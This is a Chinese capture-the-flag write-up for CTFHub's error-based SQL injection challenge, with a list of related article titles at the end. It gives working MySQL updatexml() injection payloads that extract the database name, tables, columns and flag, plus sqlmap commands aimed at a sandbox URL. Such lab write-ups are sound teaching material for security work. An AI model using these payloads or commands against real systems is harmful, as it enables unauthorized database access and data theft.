CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
华仔啊17 小时前
千万别给数据库字段加默认值 null!真的会出问题
java·数据库·后端
随风飘的云2 天前
MySQL的慢查询优化解决思路
数据库
IvorySQL2 天前
PostgreSQL 技术日报 (3月7日)|生态更新与内核性能讨论
数据库·postgresql·开源
赵渝强老师2 天前
【赵渝强老师】金仓数据库的数据文件
数据库·国产数据库·kingbase·金仓数据库
随逸1772 天前
《Milvus向量数据库从入门到实战,手把手搭建语义检索系统》
数据库
神秘的猪头2 天前
🚀 React 开发者进阶:RAG 核心——手把手带你玩转 Milvus 向量数据库
数据库·后端·llm
齐生13 天前
iOS 知识点 - 渲染机制、动画、卡顿小集合
笔记
IvorySQL3 天前
PostgreSQL 技术日报 (3月6日)|为什么 Ctrl-C 在 psql 里让人不安?
数据库·postgresql·开源
NineData3 天前
数据库管理工具NineData,一年进化成为数万+开发者的首选数据库工具?
运维·数据结构·数据库